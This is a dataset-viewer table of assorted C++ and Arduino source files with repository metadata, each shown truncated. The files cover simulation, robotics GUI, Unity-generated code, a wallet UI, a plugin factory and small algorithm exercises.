blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 247 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 4 111 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 58 | visit_date timestamp[ns]date 2015-07-25 18:16:41 2023-09-06 10:45:08 | revision_date timestamp[ns]date 1970-01-14 14:03:36 2023-09-06 06:22:19 | committer_date timestamp[ns]date 1970-01-14 14:03:36 2023-09-06 06:22:19 | github_id int64 3.89k 689M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 25
values | gha_event_created_at timestamp[ns]date 2012-06-07 00:51:45 2023-09-14 21:58:52 ⌀ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-08-24 19:49:39 ⌀ | gha_language stringclasses 159
values | src_encoding stringclasses 34
values | language stringclasses 1
value | is_vendor bool 1
class | is_generated bool 2
classes | length_bytes int64 7 10.5M | extension stringclasses 111
values | filename stringlengths 1 195 | text stringlengths 7 10.5M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
51b214f87bcd18c9cba42cde71d262c001b283ad | a78a8595878426b87e5b93b9d1431e0779e22bb8 | /src/types/key.cc | a83696a16d622d8a1fe3eeec0034c761f265296d | [] | no_license | hecg119/starflow_analytics | f01a58b600dd8d059832c0744613ec36aea0e74d | ed3716e15498b19be11ca96eedfa8e71c20ac7c8 | refs/heads/master | 2021-08-24T07:28:43.312267 | 2017-12-08T16:41:21 | 2017-12-08T16:41:21 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,388 | cc | key.cc |
#include "key.h"
#include "../etc/format_helpers.h"
#include <sstream>
#include <string>
#include <iomanip>
#include <arpa/inet.h>
starflow::types::Key::Key(u_char ip_p, in_addr ip_src, in_addr ip_dst, unsigned short th_sport,
unsigned short th_dport)
: ip_proto(static_cast<std::uint8_t>(ip_p)),
ip_src(static_ca... |
712dc0f3cdcde724595b4f57ff94134504821279 | d4dc4989339f9ebf14bba2dce5132f4b77529bd3 | /libcxx/test/std/containers/sequences/vector/vector.modifiers/resize.copy_only.pass.sh.cpp | b24736e22b6b1395456a85361b43838b9d5f73d3 | [
"NCSA",
"LLVM-exception",
"MIT",
"Apache-2.0"
] | permissive | gt-retro-computing/llvm-I8080 | cb42cbb9e0b2dcab1aa1d74ed2fe3a205e607f89 | 78269777eb90c32420f577612480ab0de0a20f7a | refs/heads/i8080-MCLayer | 2023-07-28T23:54:05.055069 | 2019-09-10T03:01:15 | 2019-09-10T03:01:15 | 183,099,460 | 13 | 4 | null | 2023-07-08T10:45:56 | 2019-04-23T21:35:01 | C++ | UTF-8 | C++ | false | false | 1,023 | cpp | resize.copy_only.pass.sh.cpp | //===----------------------------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===---------------------------... |
720077c20755e53e15ff92d7c5e45a608caaad79 | 01e9332fc35f009a31f7ce27bea17e5ecd3003aa | /Temp/il2cppOutput/il2cppOutput/Il2CppGenericMethodTable.cpp | 74f55e5732ee6fbbe42062a5a515c0f85229530e | [] | no_license | tomSheep19/WireLoopAR | 603c5f6b803a18dd9f32669b9d999790494c8a7a | f10d8cccd0ee8d196ea6f124f1b5bf74f326be6e | refs/heads/master | 2021-08-16T18:23:07.082219 | 2017-11-20T07:07:53 | 2017-11-20T07:07:53 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 509,089 | cpp | Il2CppGenericMethodTable.cpp | #include "il2cpp-config.h"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include <cstring>
#include <string.h>
#include <stdio.h>
#include <cmath>
#include <limits>
#include <assert.h>
#include "class-internals.h"
#include "codegen/il2cpp-codegen.h"
extern const Il2CppGenericMeth... |
82e32982cb2df4a523ace9e745e5d34a0199c2d9 | e94409baa6864db04a7785fbd7346c9e95dc85d5 | /sources/sim/gsim4/GsimData/GsimData/GsimRandData.h | 8b4484cdb2f17dd3aff8727cfa830c791626daad | [] | no_license | laerad84/e14 | 3d9be7b6712df3534dcba2132a6f9e3ed8b517fc | 89875a124b1d7bb960b5919e75747c90bf72996d | refs/heads/master | 2016-09-16T00:46:33.493744 | 2012-06-18T06:46:57 | 2012-06-18T06:46:57 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,316 | h | GsimRandData.h | /**
* @file
* @brief GsimEventData
* $Id: GsimRandData.h,v 1.2 2006/12/06 18:38:38 nanjo Exp $
* $Log: GsimRandData.h,v $
* Revision 1.2 2006/12/06 18:38:38 nanjo
* CVS variables.
*
*/
#ifndef GsimRandData_h
#define GsimRandData_h
//includes
#include "TObject.h"
#include <string>
#include <vector>
/... |
6bea3d9a05b13afa5e31215204b7965eb6d7b62b | 3d26a2a30b9691972251f7c92fa93ad57cd63aec | /src/gt_server.cpp | 64a0989cede4ef18348bf33e13f2a85905fe095b | [] | no_license | RickyCga/gtbackup | 49ac13e04470b41d37637b3a3ed01f3f54ada3d0 | b592205054505d0a6e4a266dd6d5a37f3d3af543 | refs/heads/master | 2020-03-26T23:28:43.541759 | 2018-08-21T10:19:39 | 2018-08-21T10:19:39 | 145,545,675 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 21,162 | cpp | gt_server.cpp | /*
* Copyright (C) 2018 E7mer of PegasusTeam <haimohk@gmail.com>
*
* This file is a part of GhostTunnel
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the Lice... |
64af78f405c4724b005808abb5e6c158446d09b9 | 4e5b25aed669fb557cc093b1cf6164534e6fdfb9 | /code/pkg_Core/Modules/PluginManager/Cx_ObjectFactory.cpp | 1b6d5ffdadfda34150b2b20aae5ef365da561a38 | [
"Apache-2.0"
] | permissive | 412555124/x3c | c3fa91b2b64431649cd7350a309f9e07ba074494 | 40e64712fbf3593abca64fd42e5927bd895c8121 | refs/heads/master | 2023-05-04T01:22:07.089688 | 2021-05-28T15:14:44 | 2021-05-28T15:14:44 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,187 | cpp | Cx_ObjectFactory.cpp | // x3c - C++ PluginFramework
#include <UtilFunc/PluginInc.h>
#include "Cx_ObjectFactory.h"
Cx_ObjectFactory::Cx_ObjectFactory()
: m_unloading(0), m_loading(0)
{
ASSERT(x3InMainThread()); // see win32impl.h
}
Cx_ObjectFactory::~Cx_ObjectFactory()
{
for (std::vector<MODULE*>::iterator it = m_m... |
74d8205c514fbc4fba0e0a3b18403e171adc4ac6 | 9e1402dd5017c9a44118532fca4ebe47b0874906 | /Fontes/ImportaRedeGIS/Egrid/EDPDAO.h | c5a36846425f705bb2c414f9db9e4f170ff06b6d | [] | no_license | danilodesouzapereira/projetoedp_importador | 16fe331a5db775e44d16e3f7b1d4fc3f9f52b671 | cf0dd4dfcd04699f3788be566f83e9ab7813253e | refs/heads/master | 2023-03-25T21:08:16.919193 | 2021-03-11T18:55:33 | 2021-03-11T18:55:33 | 346,417,747 | 0 | 0 | null | null | null | null | WINDOWS-1250 | C++ | false | false | 3,871 | h | EDPDAO.h | // --------------------------------------------------------------------------------------------- bof
#ifndef EDPDAOH
#define EDPDAOH
// ---------------------------------------------------------------------------------------- includes
#include <list>
#include <Classes.hpp>
// Project include
//#include <SQLite\SQLite.... |
90efee07668162b0e71c1884c2b093ced5839ed7 | ba80cfb5e86022bfbd6ec50f74e87b9863e0ccdb | /SeaLifeSimulator/Simulator.h | 8f30a8e5a82bfffd0e66400c928e00be55eda377 | [] | no_license | DimitrisKlb/UniversityProjects | d56a56fe126415d9cb34c102dde6afdcc9d7e3e5 | 506c66026b1fa10eabe1f95e2ac8a35533e08f17 | refs/heads/master | 2021-05-02T16:07:41.208074 | 2018-02-08T12:26:48 | 2018-02-08T12:26:48 | 120,668,040 | 2 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 941 | h | Simulator.h | // Basiki klasi grafikwn pou periexei to Game-Loop kai Dimiourgia tou para8irou
#ifndef SIMULATOR_H
#define SIMULATOR_H
#include <SDL.h>
#include <SDL_image.h>
#include <SDL_ttf.h>
#include "SurfaceLib.h"
#include "GraphicDefines.h"
#include "States.h"
#include "IntroState.h"
#include "HelpState.h"
#include "Simul... |
c60c65e913413bda6d5b7069562e118ffd3bf07c | f29b1135c9f4f95549846eccd10b1b6f67862188 | /Assignment_5/Assignment_5/main.cpp | 9fe03b13f7761eee29c639bd81ecfcc468fba410 | [] | no_license | Vishal1541/Data-Structure-and-Algorithms | 1b146ce6f91c3602eb5af2e4aa19847562889b81 | 5a32bd1f5de3e96fb0a367be0dd78ef8062760af | refs/heads/master | 2020-03-21T15:31:11.359658 | 2018-06-26T09:43:19 | 2018-06-26T09:43:19 | 138,717,180 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 981 | cpp | main.cpp | //VISHAL ANAND
//B16040
#include <iostream>
#include "UndirectedGraph.hpp"
using namespace std;
int l,b,ans = 0;
bool isValid(int i, int j){
return (i>=1 && i<=l && j>=1 && j<=b);
}
void work(int& i){
cout<<i<<" ";
}
int main(){
char mode,inp, vert = 0;
cin>>l>>b>>mode;
int bin[l+1][b+1];
for(int i=1; i<=l; ... |
c88732e44f0b8c1ada160efa8363af0e77b9441c | b4cf52a31dbb9664cee4635777042f479539a4ef | /software/UNIBOT/BaseController/ArduinoMegaProBase/Arduini_extInts.ino | 36631df7cfe105c9487dfd9eea99e6e02fa9917b | [] | no_license | CreativeRobotics/UNIBOT1 | 66c4967b2bec70e08fb382ee01fc10ef785a4795 | 7dc59c2909fc0885f5186a0c0134914f5d199a20 | refs/heads/master | 2020-03-26T23:54:41.163788 | 2018-08-21T14:51:27 | 2018-08-21T14:51:27 | 145,577,226 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,968 | ino | Arduini_extInts.ino | //some external int functions used for measuring hobby RC pulses
#define int0pin 2
#define int1pin 3
#define int2pin 21
#define int3pin 20
#define RC_CENTRE 1564;
volatile long pulse0;
volatile long pulse1;
volatile long pulse2;
volatile long pulse3;
void setupExtInts(){
pinMode(int0pin, INPUT);
pinMode(int1pin,... |
9d2fd7120237bf76ac77029e5715a0e0572ee890 | 459d0ccd07497a5e7e4b5900723b3dd3221d510d | /include/Behaviors/SimpleRotationBehavior.h | b53cdcd7f32895e1f93f4fa00fbae6c846f12384 | [] | no_license | chipot/Yagw | a38d3c8d486907f84272dcda9f53b27643d8f9c7 | c8c058d74f26e777dae958c5a698b8d590b646e4 | refs/heads/master | 2016-09-05T12:37:24.750293 | 2011-12-01T23:10:23 | 2011-12-01T23:10:23 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 448 | h | SimpleRotationBehavior.h | #ifndef LFOLLOWINGROTATIONBEHAVIOR_H
#define LFOLLOWINGROTATIONBEHAVIOR_H
#include <QtCore/qmath.h>
#include "Behaviors.h"
class SimpleRotationBehavior : public RotationBehavior
{
protected :
int angle;
public :
SimpleRotationBehavior(Entity *ent = 0, Entity *t = 0, int a = 0) : RotationBehavior(ent, t), angl... |
5b645ff4b3f391a3674222893af6768d3d52260a | cfd74a0d1f76dcba890d13b639c5e767249ae05e | /include/mc_rtc/gui/Visual.h | cb265c55694d18a2ecc613eae750d9725c3f1444 | [
"Qhull",
"MIT",
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | jrl-umi3218/mc_rtc | 4b2f640f439cf766a6d8c224fb803fecc2932c5a | 59d714f2598393c5f94ae5395c26c834d2688a76 | refs/heads/master | 2023-08-31T16:02:25.586881 | 2023-08-30T11:40:46 | 2023-08-30T11:40:46 | 227,037,645 | 77 | 30 | BSD-2-Clause | 2023-09-14T12:04:18 | 2019-12-10T05:39:23 | C++ | UTF-8 | C++ | false | false | 1,933 | h | Visual.h | /*
* Copyright 2015-2021 CNRS-UM LIRMM, CNRS-AIST JRL
*/
#pragma once
#include <mc_rtc/gui/details/traits.h>
#include <mc_rtc/gui/elements.h>
#include <mc_rtc/gui/types.h>
#include <mc_rbdyn/configuration_io.h>
#include "mc_rtc/MessagePackBuilder.h"
namespace mc_rtc::gui
{
namespace details
{
/** Visual display... |
354d430d380ecc42bea3314d1ccce80d9b7003bb | 3e0953df3e3537ddb9a4f4fac17fe595ade4ffbb | /maincontrols.cpp | 0f357df9472ba2c6bfd843ff6f8aa4d00c9585ec | [] | no_license | brians444/RaspiBrew | cdd442713f5a52c303140dc5a4b72bde457ffd53 | d00e196aedc90f71603c38f161f67c67c0c51033 | refs/heads/master | 2020-12-03T00:03:49.578538 | 2017-08-16T01:49:46 | 2017-08-16T01:49:46 | 95,981,714 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 16,578 | cpp | maincontrols.cpp | #include "mainwindow.hpp"
#include "ui_mainwindow.h"
/******************************************************************************************************************/
/******************************************************************************************************************/
/* Slot for port opened succes... |
1bbfa938e4f2cd96a169d94ca892871f3cd2f91b | 95c3f1077ec6356fa1b5de3ddd00658f35337211 | /lt_062_unique_paths.cpp | 4e32d2579c8f0404ff45e336be6f0feb42a20e4a | [] | no_license | bowcharn/leetcode | 5e6b45be32d00f508aad7c04e66297ccad1f7610 | 3a54cab040a74f8003261e629e32c388eae23277 | refs/heads/master | 2020-04-06T03:32:21.105443 | 2014-09-03T15:32:31 | 2014-09-03T15:32:31 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 843 | cpp | lt_062_unique_paths.cpp | /*
A robot is located at the top-left corner of a m x n grid
(marked 'Start' in the diagram below).
The robot can only move either down or right at any point in time.
The robot is trying to reach the bottom-right corner of the grid
(marked 'Finish' in the diagram below).
How many possible unique paths are there?
... |
1350f7fbea60561b710cff29a02f69e7de4ccdc5 | def70779aba60980f03a4b7ca58ec77ee9242296 | /CppWinForm1/BankUnitTest/bankUnitTest.cpp | 2155b313b20acce55ee115f6920a1ef4440546b5 | [] | no_license | mariam2019/Software-Testing-Project | 22f529126dabc3bbf2486bb0a2a85294992ea786 | 54a8dff6de0b39412e04951515af1ad2d21171d0 | refs/heads/master | 2020-04-10T05:41:59.051029 | 2018-12-08T07:39:54 | 2018-12-08T07:39:54 | 160,834,874 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 221 | cpp | bankUnitTest.cpp | #include "stdafx.h"
#include "CppUnitTest.h"
using namespace Microsoft::VisualStudio::CppUnitTestFramework;
namespace BankUnitTest
{
TEST_CLASS(bankUnitTest)
{
public:
TEST_METHOD(test_method)
{
}
};
} |
2ea9c0e9e3e4ccc53df74dff0c556a05e10303d3 | 880b8e40f6c531a66042a784ba58e6638be28530 | /Primitive.h | c90b4c2f940e3f36d7b6f700cc6ed5243e7d6dbe | [] | no_license | pm34-rr/ComputerGraphics_1 | cb43c18cd5d28d84b45cbebc6f445d0beb838141 | 9e0d2c619825c474a7db863b427640a88d2c692f | refs/heads/master | 2021-01-10T06:18:33.605817 | 2016-02-14T15:51:01 | 2016-02-14T15:51:01 | 51,591,021 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 491 | h | Primitive.h | #pragma once
#include "Common.h"
class Primitive
{
public:
Primitive();
void setPoint( const Point & pt, int i );
const Point & point( int i );
void setColor( const Color & clr );
const Color & getColor();
void setPointSize( GLfloat pointSize );
GLfloat pointSize();
void draw();
private:
Trian... |
32ff3439517fbc4bd38e99e0c5b661013b4b0caf | b81c97bee2232a3f204eb73bd11b8ba101650676 | /inc/Resource/BathroomItem/HairBrush.h | bde3a8a7c36c2d4fc88d5ce33c0f5f2a59021584 | [] | no_license | bjones3/Resource-Distribution-Simulator | 86d3282a5206667deb97234528cd05c580e29bf3 | bb34faa5c1557e937b2aaaf4483018fcca841a71 | refs/heads/master | 2023-04-01T16:24:31.066563 | 2021-04-15T03:06:35 | 2021-04-15T03:06:35 | 299,432,138 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 94 | h | HairBrush.h | #ifndef HAIRBRUSH_H
#define HAIRBRUSH_H
class HairBrush
{
public:
HairBrush();
};
#endif
|
f81aec4aa20cfc197bd6dd0ad9e2c4464c3c8281 | b61fbef4fb2c9e52418a948498f69b12d14c88fa | /src/app/GFXMain.cpp | 1fe1652a77d2330d003af3fcbfb273ef36d6a6bd | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | jonfen/SilverSprint | 58945d4691264a33edc9c822585f657e9f29ece5 | b9caede84e837054dfd4d51f3ec6de98a62679f8 | refs/heads/master | 2020-05-25T00:18:53.893391 | 2017-06-21T19:12:36 | 2017-06-21T19:12:36 | 84,892,656 | 0 | 0 | null | 2017-03-14T01:44:01 | 2017-03-14T01:44:01 | null | UTF-8 | C++ | false | false | 3,576 | cpp | GFXMain.cpp | //
// GFXMain.cpp
// GoldsprintsFX
//
// Created by Charlie Whitney on 8/27/14.
//
//
#ifdef __linux
//linux
#include "../../include/app/GFXMain.h"
#else
// Windows & OSX
#include "app/GFXMain.h"
#endif
using namespace ci;
using namespace ci::app;
using namespace std;
using namespace gfx;
GFXMain... |
601417199dbe87a98717027de1b0200b82b0d56e | 36b4665968398d3ecd3df29023a4ad2f56041d72 | /programs/light_wallet/Account.cpp | 221fd823ed31fd12e61b8d4e86a992cd8ac96d30 | [] | no_license | FilmChain/FilmChain | 94f484b542c260cad4c05066364c247e50876e59 | ee522a96bbc43ea503f638eb85b4468ada32cbab | refs/heads/master | 2020-03-25T16:49:32.388849 | 2018-08-08T07:01:28 | 2018-08-08T07:01:28 | 143,949,162 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,948 | cpp | Account.cpp | #include <mcc/blockchain/types.hpp>
#include <QStringList>
#include "Account.hpp"
#include "QtConversions.hpp"
using std::string;
TransactionSummary* Account::buildSummary(mcc::wallet::transaction_ledger_entry trx)
{
QList<LedgerEntry*> ledger;
wdump((trx));
for( auto label : trx.delta_labels )
{
... |
909fd6d9431a62e29f8d6458cfdb2f53635f5932 | 621891421f9991bb4b1bb86c455ea769f204e793 | /A1_P2_20180146_20180198/A1_P2/A1_P2/Fraction.cpp | 59918d4cc97b040ae2e53502c3d27c7b2a4a5168 | [] | no_license | Abdelrhman-ammar/Assignment1-Data-Structure | 090338e4feab8c375dba7ef706cbad5bf8585136 | 4e0c10b273e46336da4b8e2dc5bede17e18a96f3 | refs/heads/master | 2021-02-07T14:25:37.269158 | 2020-03-14T19:44:15 | 2020-03-14T19:44:15 | 244,036,902 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,302 | cpp | Fraction.cpp | #include "Fraction.h"
#include <iostream>
#include <string>
using namespace std;
int greatestCommonDivisors(int number1, int number2)
{
if (number1 == 0 && number2 == 0)
{
return 1;
}
if (number1 == 0)
return number2;
return greatestCommonDivisors(number2 % number1, number1);
}
Fraction::Fraction() :denomi... |
839ad896b65e6c338f36d419ea82e6b6d2de87b9 | 86a20b33ed9df1423a54926d5ae7cd0ad92bb1be | /src/csv.hpp | 6ede5928ecd50ed9ee1e2afa157f2e2b45f0b809 | [
"MIT"
] | permissive | LinuxDevon/csv_parser_cpp | fbcee95a9a03cf8599ec89eb2696649e1125a29d | a5c763b0ffa810f7ccc51e75a3081f1dfbda5910 | refs/heads/master | 2021-02-16T17:48:04.179099 | 2020-04-01T21:41:48 | 2020-04-01T23:33:17 | 245,030,962 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,284 | hpp | csv.hpp | /*
This is the header source file for the csv reader / dictionary classes.
MIT License
Copyright (c) 2020 LinuxDevon
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restri... |
ea73fef06a40f2b35bf9b6e0342154e263f1ac71 | a06515f4697a3dbcbae4e3c05de2f8632f8d5f46 | /corpus/taken_from_cppcheck_tests/stolen_14266.cpp | 11bf722ab1e9e47adce596bce15fc34ded4a3d50 | [] | no_license | pauldreik/fuzzcppcheck | 12d9c11bcc182cc1f1bb4893e0925dc05fcaf711 | 794ba352af45971ff1f76d665b52adeb42dcab5f | refs/heads/master | 2020-05-01T01:55:04.280076 | 2019-03-22T21:05:28 | 2019-03-22T21:05:28 | 177,206,313 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 39 | cpp | stolen_14266.cpp | void f()
{
extern int a;
a++;
} |
c5ff6d0c79cc720d68cf4d410a36fae798e13769 | d9409f4aca21b6add1090b453f59ae2d1bfc32a5 | /src/main.cpp | 1a98dea7c8cde856bcb444807a2a2bdea700d779 | [] | no_license | hahnpv/CFDV | b50a8e8d16431db2aee6e7b2bdbf9bc03ccf9801 | b85d8c68692d8e87ffe476f669a5550dbd10a343 | refs/heads/master | 2021-01-19T04:14:57.032455 | 2018-10-26T13:20:05 | 2018-10-26T13:20:05 | 60,426,019 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,365 | cpp | main.cpp | #include "mpi.h"
//#ifdef __GNUC__
// #include <tr1/functional> /// ref wrapper (STL TR1 gcc)
// using namespace std::tr1;
//#else
#include <functional> /// ref wrapper (STL TR1 msvc)
// Floating Point Break on NaN (windows debugging)
///unsigned int fp_control_state = _controlfp(_EM_INEXACT, _MCW_EM);
... |
ee0ef83dfcb1a8171f87a7b7fe82497e5da3763c | 1a2190b96ca17719d2b41a5fbcac6043cf9f08e4 | /Codeforces/#42/a.cpp | a9f851dcc9dd544b51856762fe21138b88372648 | [] | no_license | eliasm2/problem-solving | 13c1abbf397bb41683fccb3490b0113c36ce9010 | 15becf49315b5defb8c1267e0c43ce1579dcae1a | refs/heads/master | 2020-09-07T07:12:17.112311 | 2018-07-20T17:27:43 | 2018-07-20T17:27:43 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 489 | cpp | a.cpp | #include <iostream>
#include <string>
#include <map>
using namespace std;
int main(){
ios::sync_with_stdio( false );
int n;
string result;
map< string, int >goal;
map< string, int >::iterator it;
goal.clear();
cin >> n;
for( int j = 0; j < n; j++ ){
cin >> result;
goal[result]++;
}
int max = -1;
... |
125bdb4efbc0a7a5f1cd924fb2f5299d4b8f2862 | 8bc42341e92e544d975e3117390f1230fa08fe85 | /src/main.cpp | a746f23e109d86f35fd4c7ea377e42cd51090328 | [] | no_license | linachris/School-simulation | 8582893ac75a5e358a95dcd4943d8f56c486fe6c | e1df1eefe74305d90808166f9a26c5c2418bcae2 | refs/heads/master | 2023-06-21T19:48:51.046147 | 2021-07-19T10:34:35 | 2021-07-19T10:34:35 | 387,426,090 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,805 | cpp | main.cpp | #include <iostream>
#include <time.h>
#include "ids.hpp"
#include "school.hpp"
using namespace std;
// return a random number between [1,num_of_students]
inline unsigned int random_students_index(int num_of_students) {
return rand() % num_of_students + 1;
}
// return a random number between [0,num_of_teachers]
in... |
9883cc8179d6180f84d27cfe6d28b7b37526e19c | 9a3e96870776bdb4dab299d65520318074a171f9 | /cskynet/cskynet/kernel/monitorthread.cpp | b8462251c46d8dea3c798e4ba66e98929f43e37a | [] | no_license | panlibin/skynetwithlibco | ae99dac303f6b0789975844a157b413c9701ccec | 1dad5f828754d4931a4c0d30bb833c2264f125f4 | refs/heads/master | 2021-01-20T02:42:51.361240 | 2017-05-05T10:04:04 | 2017-05-05T10:04:04 | 89,446,032 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 516 | cpp | monitorthread.cpp | #include "../common/common.h"
#include "monitor.h"
#include "monitorthread.h"
#include "servicemanager.h"
using namespace csn;
MonitorThread::MonitorThread(Monitor* pMonitor)
: m_pMonitor(pMonitor)
{
}
void MonitorThread::run()
{
int32_t i = 0;
for (;;)
{
if (g_ServiceManager.getServiceC... |
1c8509e1550a93b174b91aed29b479e1a6efc65c | 4d2381892fa2f5a31731a2567ddccd0b6b2922f6 | /STL/maps.cpp | 005f3e2005eaf6a7b88c456b6f697dfd58792dc4 | [] | no_license | gaurav-singh1998/Cpp_practice_questions | e888e98b21d2a1386e5460e11b1139eccdcda801 | c4ab90fa797e4449249e6562c3d626abfeb675d5 | refs/heads/master | 2021-05-22T20:12:31.219285 | 2020-10-03T07:07:50 | 2020-10-03T07:07:50 | 253,075,063 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 784 | cpp | maps.cpp | #include<bits/stdc++.h>
using namespace std;
int main()
{
// maps in C++ are of two types
// [a] Unordered Map:- Uses separate chaining technique with hash function
// useful to keep elements in unsorted order has a time complexity of O(1)
// to search an element;
// [b] Map:- Uses Balanced BST of... |
86bc5370f9537a4ac5d3df7c396e324d774852bb | d41c430ec554f4a7c6ffed88440eb179c478d8df | /DspLib/dspFilterStatistics.cpp | 97a84f060447cae5d1864f14f114eb780cac1579 | [
"MIT"
] | permissive | chrishoen/Dev_DspLib | d8035071c8a9b49bbb193e9157f557379f63ca36 | 030b8a4890fd89ad618a31abefdc302d7ed8892c | refs/heads/master | 2022-11-22T05:43:05.783518 | 2022-11-04T17:21:53 | 2022-11-04T17:21:53 | 144,871,706 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,997 | cpp | dspFilterStatistics.cpp | /*==============================================================================
Description:
==============================================================================*/
//******************************************************************************
//*************************************************************... |
789415ae0a5c38d731012f4a379232713b304ae5 | 648e3e20b857431eb2b4e4a6dd8f1070cc7f8be6 | /firmware/z_retired/node_setup.h | 41507cc4af3f5e205734a94dc949f7a3c5717b93 | [] | no_license | NGenetzky/particle-projects | b9491112440f6a221075cb6e239bc7e3dbfc111b | d3817385a66c229aa8a0adf2d3aec6a1ddb65739 | refs/heads/master | 2021-01-17T17:38:27.777813 | 2017-10-02T00:32:31 | 2017-10-02T00:32:31 | 60,393,966 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,869 | h | node_setup.h | #include "application.h"
#include "node.h"
const int NODE_SERIAL_START = 200;
namespace NODE_V1 {
int node_setup(Id node = NODE_SERIAL_START);
// namespace WREG {
int wreg_set(const char *);
int get_wreg();
int post_wreg(const char *);
// } namespace WREG
// namespace RGB {
int rgb_set(const char *);
int g... |
7fd4fef23d76f0537d1d9b5c5c87f783c6206cd9 | cfebe38545522d29a7b8b7346394c266bbbb87f7 | /Pub-3/Pub-3/Kinanti.cpp | 0c45feb6f585b86cc4ff67abfff5d1f8d1a639b9 | [] | no_license | Yancale/CPP_Projects | c146058bb5d45b36b14965818ce10e65fbb007d1 | 7274278d41b304235ed6c58db3e23510ab8ea913 | refs/heads/master | 2021-01-18T03:22:20.213928 | 2017-03-22T16:07:00 | 2017-03-22T16:07:00 | 85,826,859 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 479 | cpp | Kinanti.cpp | #include "stdafx.h"
#include "Kinanti.h"
Kinanti::Kinanti(int year)
{
m_year = year;
}
string Kinanti::getName()
{
string a = "\"Kinanti (year ";
a += to_string(m_year);
a += ")\"";
return a;
}
void Kinanti::prepare()
{
cout << "you ordered Kinanti.\n" << "so the story about this red wine started at " << m_year ... |
bd60b501538925383f1a4617d70fdcdee3f1878a | 2239b76447f477551d6e85bcaff0b81beac64067 | /resources/StringSplit.h | 144a2fbd0640c8cb63c80d8c7cc1389d5bfebc75 | [] | no_license | vaetern/cpp_study | 9c4a179a5079bc93140b6285023aabb29c9e7221 | 8fba8714e6d620b07e0b03ed163a4db2daecf3e3 | refs/heads/master | 2020-04-18T14:00:11.710819 | 2019-02-06T17:42:06 | 2019-02-06T17:42:06 | 167,577,119 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 269 | h | StringSplit.h | #ifndef UNTITLED_STRINGSPLIT_H
#define UNTITLED_STRINGSPLIT_H
#pragma once
#include <string>
#include <vector>
using namespace std;
class StringSplit {
public:
vector<string> Split(const string &subject, const char &delim);
};
#endif //UNTITLED_STRINGSPLIT_H
|
09143845aba03882a28d37f76f170774f9160116 | c32ca8180847b209e24e8d1d5ae87f88cda172cc | /hvn3/include/hvn3/collision/CollisionManager.h | a37116493206b4717950a04882ebce73a3036e2f | [] | no_license | gsemac/hvn3-engine | 051ffe6dd8fd07a95fdb3937013ad3bdc805dddc | 7f99f6a0cc67aae7e5e5ec5a4c08a2a688f0ee0a | refs/heads/master | 2021-07-24T12:04:42.773197 | 2019-03-06T21:50:52 | 2019-03-06T21:50:52 | 98,023,277 | 5 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,047 | h | CollisionManager.h | #pragma once
#include "hvn3/collision/CollisionManagerBase.h"
#include "hvn3/collision/Collider.h"
namespace hvn3 {
class CollisionManager :
public CollisionManagerBase {
protected:
using CollisionManagerBase::CollisionManagerBase;
void CheckPairs(const IBroadPhase::collider_pair_vector_type& pairs) overrid... |
7c2c6f615bac6052e37e2c98e87e6b6d8e8416a8 | 4da47bddc4d6770c81424df5f973c7d8bf77bc18 | /6_Strong_Connectivity/Tarjans.cpp | 9a204c2afc0f69d4453a77f4e17d44828fc6df07 | [
"MIT"
] | permissive | SAKSHAM-SAAM/Graphs-algorithms | 3ae37c3df5cac2914d3e658294e63aa2dc011bf2 | 9aeebb04bb8d9b0d90aab02e4c322d7f67cbc6ff | refs/heads/main | 2023-04-29T14:18:19.630059 | 2021-05-19T07:13:33 | 2021-05-19T07:13:33 | 366,945,209 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,372 | cpp | Tarjans.cpp | // Tarjans Algorithm for Strongly Connected Componenets
#include<bits/stdc++.h>
using namespace std;
